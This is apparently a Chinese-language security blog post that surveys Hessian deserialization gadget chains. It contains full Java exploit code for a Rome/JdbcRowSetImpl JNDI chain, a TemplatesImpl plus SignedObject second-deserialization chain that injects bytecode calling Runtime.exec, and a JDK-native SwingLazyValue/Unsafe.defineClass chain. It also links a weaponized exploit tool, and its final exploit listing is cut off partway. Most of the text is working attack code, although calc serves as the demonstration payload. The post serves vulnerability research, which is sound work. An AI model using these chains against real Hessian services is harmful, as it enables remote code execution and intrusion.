Loading

Hessian 反序列化链汇总

Hessian 反序列化链汇总

武器化工具:https://github.com/LINGX5/HessianExploit-tool

先来看 Hessian 反序列化要满足的条件:

  • 起始方法只能为 hashCode/equals/compareTo 方法;
  • 利用链中调用的成员变量不能为 transient 修饰;
  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑。

这些条件是从何而来呢?

我们来看一个简单的例子,分析一下序列化和反序列化流程,以 hessian1 为例

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.*;

public class ObjectTest {
    public static void main(String[] args) throws Exception {
        Person test = new Person("test", 1);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new HessianOutput(baos).writeObject(test);
        System.out.println(baos.toByteArray());
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Object o = new HessianInput(bais).readObject();
        System.out.println(o);

    }
}

序列化

首先是序列化

看 HessianOutput.writeObject() 方法,首先是获得序列化器,默认的自定义类使用的是 UnsafeSerializer

image-20251114091507145

序列化器一共有 29 个,为不同类型执行序列化,不遵循 java 原生的序列化

image-20251114091643568

获取过程中,会经过 com.caucho.hessian.io.SerializerFactory#loadSerializer 方法,经过一堆类型判断后,都不符合会来到 getDefaultSerializer() 方法

image-20251114092227374

这里有个 !Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable 的判断,这个是要求要序列化的类是 Serializable 的子类 或者 _isAllowNonSerializable 为 true,而 isAllowNonSerializable 这个值是可以通过 SerializerFactory#setAllowNonSerializable 方法进行设置的,也就是 hessian 其实是可以支持反序列化任何类的,不需要实现 Serializable 接口也可以

image-20251114092311003

我把 person 的 实现 serializable 去掉,运行下面这段代码,也是可以成功的

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import java.io.*;

public class ObjectTest {
    public static void main(String[] args) throws Exception {
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        Person test = new Person("test", 1);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput heout = new HessianOutput(baos);
        heout.setSerializerFactory(serializerFactory);
        heout.writeObject(test);
        System.out.println(baos.toByteArray());
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Object o = new HessianInput(bais).readObject();
        System.out.println(o);

    }
}

image-20251114093527245

之后就执行 create() 方法

image-20251114101133510

跟踪 create() 这个方法会来到 UnsafeSerializer#introspect 获取序列化类的字段值,但是 transientstatic 修饰符的字段,不参与序列化

image-20251114101344107

接着看反序列化流程,回到 HessianOutput#writeObject 方法 ,拿到反序列化器 UnsafeSerializer 后,要执行 writeObject() 方法进行对象的序列化

image-20251114094211633

writeObjectBegin() 会调用 ==> writeMapBegin() 把序列化的对象标记为 map 先写入 map 标记 77 和 116 也就是 Mt

hessian1 中没有 Object 的序列化和反序列化,而是把不认识的对象标记为map进行序列化和反序列化

image-20251114094307433

返回 ref 为 -2 ,会走到 UnsafeSerializer#writeObject10 方法,对字段进行序列化,但是 transientstatic 修饰符的字段并没有添加到 _fields[] 数组中,所以不会进行序列化

image-20251114094904940

序列化到此就结束了,从序列化过程我们不难看出,利用链需要满足 成员变量不能为 transient 修饰

反序列化

这里走的是 HessianInput#readObject() 而非 java 原生的 readObject,他利用的是 unsafe 类 来进行字段填充的,这里首先读取 type 值,其实就是序列化是的 writeObjectBegin() 填充的 77 和 116 (map 标记) ,也就直接进入了 case: 77 分支

image-20251114103134155

之后进入 readMap 方法,第一步是获取反序列化器

image-20251114104453331

获得的调用栈

<init>:80, UnsafeDeserializer (com.caucho.hessian.io)
getDefaultDeserializer:542, SerializerFactory (com.caucho.hessian.io)
loadDeserializer:495, SerializerFactory (com.caucho.hessian.io)
getDeserializer:417, SerializerFactory (com.caucho.hessian.io)
getDeserializer:725, SerializerFactory (com.caucho.hessian.io)
readMap:568, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
main:22, ObjectTest (com.example)

一般情况下自定义类的反序列化会是 UnsafeDeserializer

image-20251114104702555

拿到反序列化器,就要执行 反序列化器的 readMap() 方法

image-20251114104943372

UnsafeDeserializer#readMap 中就两行代码

image-20251114105203104

this.instantiate() ,这个就是通过 unsafe 实例化类,我们都知道 unsafe 是不会执行类构造器和 getter、setter 等方法的,所以 反序列化链的条件 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑 也就理解了

image-20251114110657511

调用 native 方法

image-20251114110724855

直接返回对象实例

this.readMap(in, obj) 反序列化

image-20251114112216351

显然这种不走构造方法、getter、setter 方法的反序列化,相对是安全的

但是我们传入的反序列化类为 map 类型的话,就会执行 MapDeserializer#readMap 方法

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;

import java.io.*;
import java.util.HashMap;

public class ObjectTest {
    public static void main(String[] args) throws Exception {
        Person test = new Person("test", 1);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(test, "test");
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput heout = new HessianOutput(baos);
        heout.writeObject(hashMap);
        System.out.println(baos.toByteArray());
        // 反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Object o = new HessianInput(bais).readObject();
        System.out.println(o);

    }
}

就会进入 最后的 else 分支,执行 MapDeserializer#readMap 方法

image-20251114114810417

MapDeserializer#readMap 会执行 map.put()

image-20251114115612080

熟悉的都知道 map.put 是会执行 putVal ==> equals、hash == > hashcode 的

image-20251114135508978

而且在 hessian 中对于 SortedMap,将会使用 TreeMap。而 TreeMap 的 put 方法,有 compare 方法的调用

image-20251114135928932

所以这就是 起始方法只能为 hashCode/equals/compareTo 方法 的原因

Remo 链

依赖

<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>

Remo 链调用栈

JdbcRowSetImpl.getDatabaseMetaData()
ToStringBean.toString() (com.sun.syndication.feed.impl)
EqualsBean.beanHashCode() (com.sun.syndication.feed.impl)
EqualsBean.hashCode()
HashMap.hash()
HashMap.put()
MapDeserializer.readMap()
SerializerFactory.readMap()
HessianInput.readObject()
package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.security.auth.login.Configuration;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Vector;

public class HessianRomeJDBC {
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // 创建JdbcRowSetImpl
        String url = "ldap://127.0.0.1:1389/Basic/Command/calc";
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName(url);
        ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(equalsBean, "test");
        
        // 自上而下执行 getter、setter方法,添加值防止报错
        Vector<String> strMatchColumns = new Vector<>();
        strMatchColumns.add("username");
        setFieldValue(jdbcRowSet,"strMatchColumns" ,strMatchColumns);


        FileOutputStream fos = new FileOutputStream("hessianJDBC.ser");
//        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(fos);
        ho.writeObject(hashMap);
        ho.close();

        FileInputStream fis = new FileInputStream("hessianJDBC.ser");
//        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        HessianInput hi = new HessianInput(fis);
        hi.readObject();
    }
}

// 自上而下执行 getter、setter 方法,添加值防止报错
Vector strMatchColumns = new Vector <>();
strMatchColumns.add("username");
setFieldValue(jdbcRowSet, "strMatchColumns" , strMatchColumns);
这个代码看好多文章都没有加,但是我在调试过程中发现 JdbcRowSetImpl 的 getter 方法在 ToStringBean 中是顺序执行的,strMatchColumns 为空会抛异常,从而终止 Remo 链的正常执行

本地开启 jndi

image-20251114163157637

成功执行

image-20251114163004905

这里使用的时 JdbcRowSetImpl.getDatabaseMetaData(),那么 TemplatesImpl 的 getOutputProperties() 方法可以吗

答案是不可以,因为 TemplatesImpl 的 _tfactory 属性为 transient ,不能进行序列化与反序列化,所以不管怎样 _tfactory 的值始终为 null

image-20251113174024210

那为什么在其他的反序列化链中 TemplatesImpl 链可以正常执行呢?

image-20251113174408584

因为在 java 原生的反序列化中会去执行 TemplatesImpl 的 readObject()方法来进行反序列化,这个方法中完成了 transient 属性的初始化,而 Hessian 自己的序列化与反序列化不遵循 java 原生反序列化的规则,不执行自定义的 readObject()

TemplatesImpl+SignedObject 二次反序列化

很遗憾 Remo 链不能直接使用 TemplatesImpl 实现类加载,但幸运的是 java 原生包中有 SignedObject 这样一个类,可以让我们能 getter 方法中进行 java 原生的反序列化操作

我们看看这个方法

image-20251122180805297

this.content 是一个 byte[] 数组,可以直接走 ObjectInputStream.readObject() 方法,也就是原生的 java 反序列化链,可以正常使用 TemplatesImpl 实现字节码类加载

调用栈

getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:340, HashMap (java.util)
readObject:1419, HashMap (java.util)
readObject:461, ObjectInputStream (java.io)
getObject:179, SignedObject (java.security)
toString:137, ToStringBean (com.sun.syndication.feed.impl)
toString:116, ToStringBean (com.sun.syndication.feed.impl)
beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl)
hashCode:176, EqualsBean (com.sun.syndication.feed.impl)
hash:340, HashMap (java.util)
put:613, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)
main:74, HessianTemplates (com.example)

代码

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;

public class HessianTemplates {
    private static byte[] getEvilBytes() throws Exception {
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
        evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
        return evil.toBytecode();
    }
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] evilBytes = getEvilBytes();
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "evil");
        setFieldValue(templates, "_bytecodes", new byte[][]{evilBytes});
        // 第一次封装,走第二次反序列化
        ToStringBean toStringBean = new ToStringBean(String.class,"aaa");
        EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
        HashMap<Object, Object> hashMap2 = new HashMap<>();
        hashMap2.put(equalsBean, "test");
        setFieldValue(toStringBean,"_beanClass", Templates.class);
        setFieldValue(toStringBean,"_obj",templates);

        // 第二次封装,走 Remo 链反序列化
        // 初始化 SignedObject
        // 生成密钥对
        KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
        keyGen.initialize(2048);
        KeyPair keyPair = keyGen.generateKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        PublicKey publicKey = keyPair.getPublic();
        // 创建签名对象
        Signature signature = Signature.getInstance("SHA1withRSA"); // 或其他合适的算法
        SignedObject signedObject = new SignedObject(hashMap2, privateKey, signature);
        ToStringBean toStringBean1 = new ToStringBean(String.class, "signedObject");
        EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
        HashMap<Object, Object> hashMap1 = new HashMap<>();
        hashMap1.put(equalsBean1, "test");
        setFieldValue(toStringBean1, "_beanClass", SignedObject.class);
        setFieldValue(toStringBean1, "_obj", signedObject);

        // 序列化
        FileOutputStream fos = new FileOutputStream("hessian.ser");
        HessianOutput ho = new HessianOutput(fos);
        ho.writeObject(hashMap1);
        ho.flush();

        // 反序列化
        FileInputStream fis = new FileInputStream("hessian.ser");
        HessianInput hessianInput = new HessianInput(fis);
        hessianInput.readObject();
    }
}

成功执行

jdk 原生链

这个链不需要任何依赖

调用栈

createValue:67, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
equals:813, Hashtable (java.util)
equals:813, Hashtable (java.util)
putVal:634, HashMap (java.util)
put:611, HashMap (java.util)
readMap:114, MapDeserializer (com.caucho.hessian.io)
readMap:577, SerializerFactory (com.caucho.hessian.io)
readObject:1160, HessianInput (com.caucho.hessian.io)

验证代码

com.example.test 代码

package com.example;

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
        }
    }
}

初次错误构造

    package com.example;

    import com.caucho.hessian.io.HessianInput;
    import com.caucho.hessian.io.HessianOutput;
    import com.caucho.hessian.io.SerializerFactory;
    import sun.misc.Unsafe;
    import sun.reflect.misc.MethodUtil;
    import sun.swing.SwingLazyValue;
    import javax.swing.*;
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.InputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Array;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.security.ProtectionDomain;
    import java.util.Arrays;
    import java.util.HashMap;
    import java.util.Hashtable;

    /**
     * createValue:67, SwingLazyValue (sun.swing)
     * getFromHashtable:216, UIDefaults (javax.swing)
     * get:161, UIDefaults (javax.swing)
     * equals:813, Hashtable (java.util)
     * equals:813, Hashtable (java.util)
     * putVal:634, HashMap (java.util)
     * put:611, HashMap (java.util)
     * readMap:114, MapDeserializer (com.caucho.hessian.io)
     * readMap:577, SerializerFactory (com.caucho.hessian.io)
     * readObject:1160, HessianInput (com.caucho.hessian.io)
     */

    public class HessianJDK {
        private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
            Field field = obj.getClass().getDeclaredField(fieldName);
            field.setAccessible(true);
            field.set(obj, value);
        }

            public static byte[] getBytecode(Class<?> targetClass) throws Exception {
                // 1. 将类名转换为资源路径 (例如:com.example.Test -> com/example/Test.class)
                String resourcePath = targetClass.getName().replace('.', '/') + ".class";
                // 2. 使用 ClassLoader 获取资源流
                try (InputStream is = targetClass.getClassLoader().getResourceAsStream(resourcePath);
                     ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
                    if (is == null) {
                        throw new IllegalStateException("Class resource not found: " + resourcePath);
                    }
                    // 3. 将流中的所有字节读取到 ByteArrayOutputStream
                    byte[] buffer = new byte[4096];
                    int bytesRead;
                    while ((bytesRead = is.read(buffer)) != -1) {
                        bos.write(buffer, 0, bytesRead);
                    }
                    // 4. 返回字节数组
                    return bos.toByteArray();
                } catch (Exception e) {
                    // 处理异常
                    e.printStackTrace();
                    return null;
                }
            }

        public static void main(String[] args) throws  Exception{
    //        byte[] evilBytes = getBytecode(test.class);
            byte[] evilBytes = new byte[]{-1,-2};
            Class<?> clazz = Class.forName("sun.misc.Unsafe");
            Field theUnsafe = clazz.getDeclaredField("theUnsafe");
            theUnsafe.setAccessible(true);
            Unsafe unsafe = (Unsafe)theUnsafe.get(null);
            Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
            defineClass.setAccessible(true);
            Class<?> utilClass = Class.forName("sun.reflect.misc.MethodUtil");
            Method invoke = utilClass.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
            Object[] defineClassArgs = new Object[]{"com.example.test", evilBytes, 0, evilBytes.length, null,null};
            Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};
            Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};

            SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
    //        swingLazyValue.createValue( null);
            UIDefaults uiDefaults = new UIDefaults();
            uiDefaults.put("test",swingLazyValue);
    //        uiDefaults.get("test");
            Hashtable<Object, Object> hashtable = new Hashtable<>();
            hashtable.put("test","test");
    //        hashtable.equals(uiDefaults);
            HashMap<Object, Object> hashMap = new HashMap<>();
            hashMap.put(hashtable, "test");
	//   初始化执行static代码块
            Class.forName("com.example.test").newInstance();
        }

    }

其中

83 行,86 行,89 行调试均可执行代码,弹出计算机

但是 hashMap.put(hashtable, "test"); 这行代码不会执行到 hashtable.equals() 方法

因为 java.util.HashMap#putVal 方法中的逻辑是存在 key 的冲突时,才会执行到 else 分支,比较冲突的两个 key 值

V putVal(int hash, K key, V value, boolean onlyIfAbsent, boolean evict) {
    Node<K,V>[] tab; Node<K,V> p; int n, i;

    // 1. 如果 table 为空或长度为0,就扩容
    if ((tab = table) == null || (n = tab.length) == 0)
        n = (tab = resize()).length;      //table变成长度16的数组

    // 2. 计算要放到的桶下标 i = (n-1) & hash
    //    n 默认是16,所以 (16-1) & hash = 15 & hash
    if ((p = tab[i = (n - 1) & hash]) == null)
        tab[i] = newNode(hash, key, value, null);  // 桶是空的,直接放新节点

    else {  
        // 3. 桶里已经有节点了 → 发生哈希冲突 → 走这里!
        Node<K,V> e; K k;
        if (p.hash == hash && ((k = p.key) == key || (key != null && key.equals(k))))
            e = p;                     // key 完全一样,准备替换旧值
        else if (p instanceof TreeNode)
            e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
        else {
            // 链表插入(JDK8 之前就是一直走这里)
            for (int binCount = 0; ; ++binCount) {
                if ((e = p.next) == null) {
                    p.next = newNode(hash, key, value, null);
                    if (binCount >= TREEIFY_THRESHOLD - 1) // >=7
                        treeifyBin(tab, hash);
                    break;
                }
                if (e.hash == hash && ... ) // 又找到相同的key
                    // 替换值
            }
        }
        // ... 最后如果真的是新key,modCount++,size++
    }
}

想走到 13 行的 else 分支,执行 16 行的 key.equals(k) ,就需要发生 hash 冲突,也就是两次 put 的 key 值一样

hashMap.put(hashtable, "test");
hashMap.put(hashtable, "test");

这样在第二次 put 方法执行时,就会发生 hash 冲突,也就是 16 行的 key.equals(k) 代码,一定会是 hashtable.equals(hashtable)

因为我们既要保证链条执行 hashtable.equals() 方法,又要满足 hash 冲突

所以我们只能在 hashtable 中,找一找 hashtable.equals(uiDefaults); 执行的可能

java.util.Hashtable#equals 方法中刚好有 if (!value.equals(t.get(key))) 代码

image-20251201140209432

测试伪代码:


public class HessianJDK {
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws  Exception{
        SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
        //        swingLazyValue.createValue( null);
        UIDefaults uiDefaults1 = new UIDefaults();
        UIDefaults uiDefaults2 = new UIDefaults();
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        uiDefaults1.put("hashtableKey",swingLazyValue);
        uiDefaults2.put("hashtableKey",swingLazyValue);

        //   uiDefaults.get("test");
        hashtable1.put("hashtableKey",uiDefaults1);
        hashtable2.put("hashtableKey",uiDefaults2);
        //            hashtable2.equals(uiDefaults);
        hashtable1.equals(hashtable2);

        Class.forName("com.example.test").newInstance();
    }
}

UIDefaults 是Hashtable的子类,且他并没有重写equals方法,所以执行他的equals方法就会调用父类Hashtable的equals方法。

创建两个UIDefaults 是为了防止uiDefaults1.equals(uiDefaults1); 这样死循环的出现

看到是可以执行成功的

image-20251201153238890

剩下的解释序列化和反序列化了,在反序列化时,执行 的是 map.put(in.readObject(), in.readObject())

image-20251201161830663

参数 in.readObject() 就是 hashmap 的 Node 变量,在 transient Node<K,V>[] table; 数组中添加即可

有聪明的同学就会发现,这个 table 变量不也是 transient 的吗?为什么它可以序列化,而在 TemplatesImpl 中的 _tfactory 变量就不行呢?

原因也很简单,在序列化的过程中,HashMap 作为特别的变量,单独处理了 table 变量的序列化与反序列化,对应方法为 com.caucho.hessian.io.MapSerializer#writeObject

image-20251201165236247

二次可执行构造

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Hashtable;

/**
     * createValue:67, SwingLazyValue (sun.swing)
     * getFromHashtable:216, UIDefaults (javax.swing)
     * get:161, UIDefaults (javax.swing)
     * equals:813, Hashtable (java.util)
     * equals:813, Hashtable (java.util)
     * putVal:634, HashMap (java.util)
     * put:611, HashMap (java.util)
     * readMap:114, MapDeserializer (com.caucho.hessian.io)
     * readMap:577, SerializerFactory (com.caucho.hessian.io)
     * readObject:1160, HessianInput (com.caucho.hessian.io)
     */
public class HessianJDK {
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws  Exception{
        //        byte[] evilBytes = getBytecode(test.class);
        byte[] evilBytes = new byte[]{-54, -2};
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = clazz.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe)theUnsafe.get(null);
        Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        defineClass.setAccessible(true);
        Class<?> utilClass = Class.forName("sun.reflect.misc.MethodUtil");
        Method invoke = utilClass.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        Object[] defineClassArgs = new Object[]{"com.example.test", evilBytes, 0, evilBytes.length, null,null};
        Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};
        Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};

        SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
        //        swingLazyValue.createValue( null);
        UIDefaults uiDefaults1 = new UIDefaults();
        UIDefaults uiDefaults2 = new UIDefaults();
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        uiDefaults1.put("hashtableKey",swingLazyValue);
        uiDefaults2.put("hashtableKey",swingLazyValue);

        //   uiDefaults.get("test");
        hashtable1.put("hashtableKey",uiDefaults1);
        hashtable2.put("hashtableKey",uiDefaults2);
        //            hashtable1.equals(uiDefaults);
        //            hashtable1.equals(hashtable2);


        HashMap<Object, Object> hashMap = new HashMap<>();
        //            hashMap.put(hashtable1, "test");
        //            hashMap.put(hashtable2, "test");

        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCC.setAccessible(true);
        Object node1 = nodeCC.newInstance(0, hashtable1, "test", null);
        Object node2 = nodeCC.newInstance(1, hashtable2, "test", null);
        Object tbl = Array.newInstance(nodeC, 2);
        System.out.println(tbl);
        Array.set(tbl, 0, node1);
        Array.set(tbl, 1, node2);
        setFieldValue(hashMap, "table", tbl);
        setFieldValue(hashMap, "size", 2);

        // 序列化
        SerializerFactory serializerFactory = new SerializerFactory();
        serializerFactory.setAllowNonSerializable(true);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        HessianOutput ho = new HessianOutput(baos);
        ho.setSerializerFactory(serializerFactory);
        ho.writeObject(hashMap);
        // 反序列化
        Object o = new HessianInput(new ByteArrayInputStream(baos.toByteArray())).readObject();

        Class.forName("com.example.test").newInstance();
    }

}

可以执行实现类定义了

image-20251201170040738

剩下的就是最后的 Class.forName("com.example.test").newInstance(); 利用该调用链在实现一次了

最后完整EXP

package com.example;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.caucho.hessian.io.SerializerFactory;
import sun.misc.Unsafe;
import sun.reflect.misc.MethodUtil;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.ProtectionDomain;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Hashtable;

/**
     * createValue:67, SwingLazyValue (sun.swing)
     * getFromHashtable:216, UIDefaults (javax.swing)
     * get:161, UIDefaults (javax.swing)
     * equals:813, Hashtable (java.util)
     * equals:813, Hashtable (java.util)
     * putVal:634, HashMap (java.util)
     * put:611, HashMap (java.util)
     * readMap:114, MapDeserializer (com.caucho.hessian.io)
     * readMap:577, SerializerFactory (com.caucho.hessian.io)
     * readObject:1160, HessianInput (com.caucho.hessian.io)
     */

public class HessianJDK {
    private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws  Exception{
        //        byte[] evilBytes = getBytecode(test.class);
        byte[] evilBytes = new byte[]{-54};
        Class<?> clazz = Class.forName("sun.misc.Unsafe");
        Field theUnsafe = clazz.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe)theUnsafe.get(null);
        Method defineClass = clazz.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
        defineClass.setAccessible(true);
        Class<?> utilClass = Class.forName("sun.reflect.misc.MethodUtil");
        Method invoke = utilClass.getDeclaredMethod("invoke", Method.class, Object.class, Object[].class);
        Object[] defineClassArgs = new Object[]{"com.example.test", evilBytes, 0, evilBytes.length, null,null};
        Object[] utilInvokeArgs = new Object[]{defineClass,unsafe,defineClassArgs};
        Object[] creatInvokeTypes = {invoke,new Object(),utilInvokeArgs};

        SwingLazyValue swingLazyValue = new SwingLazyValue(MethodUtil.class.getName(), "invoke", creatInvokeTypes );
        UIDefaults uiDefaults1 = new UIDefaults();
        UIDefaults uiDefaults2 = new UIDefaults();
        Hashtable<Object, Object> hashtable1 = new Hashtable<>();
        Hashtable<Object, Object> hashtable2 = new Hashtable<>();
        uiDefaults1.put("hashtableKey",swingLazyValue);
        uiDefaults2.put("hashtableKey",swingLazyValue);
        hashtable1.put("hashtableKey",uiDefaults1);
        hashtable2.put("hashtableKey",uiDefaults2);
        /*
        Class.forName("com.example.test").newInstance();类初始化的实现
 */
        SwingLazyValue swingLazyValueNew = new SwingLazyValue("com.example.test", null, new Object[0]);
        UIDefaults uiDefaultsNew1 = new UIDefaults();
        UIDefaults uiDefaultsNew2 = new UIDefaults();
        uiDefaultsNew1.put("hashtableKey", swingLazyValueNew);
        uiDefaultsNew2.put("hashtableKey", swingLazyValueNew);
        Hashtable<Object, Object> hashtableNew1 = new Hashtable<>();
        Hashtable<Object, Object> hashtableNew2 = new Hashtable<>();
        hashtableNew1.put("hashtableKey", uiDefaultsNew1);
        hashtableNew2.put("hashtableKey", uiDefaultsNew2);

		HashMap<Object, Object> hashMap = new HashMap<>();
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        } catch (ClassNotFoundException e) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCC = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCC.setAccessible(true);
        Object node1 = nodeCC.newInstance(0, hashtable1, "test", null);
        Object node2 = nodeCC.newInstance(1, hashtable2, "test", null);
        Object node3 = nodeCC.newInstance(2, hashtableNew1, "test", null);
        Object node4 = nodeCC.newInstance(3, hashtableNew2, "test", null);
        Object tbl = Array.newInstance(nodeC, 4);
        Array.set(tbl, 0, node1);
        Array.set(tbl, 1, node2);
        Array.set(tbl, 2, node3);
        Array.set(tbl, 3, node4);
        setFieldValue(hashMap, "table", tbl);
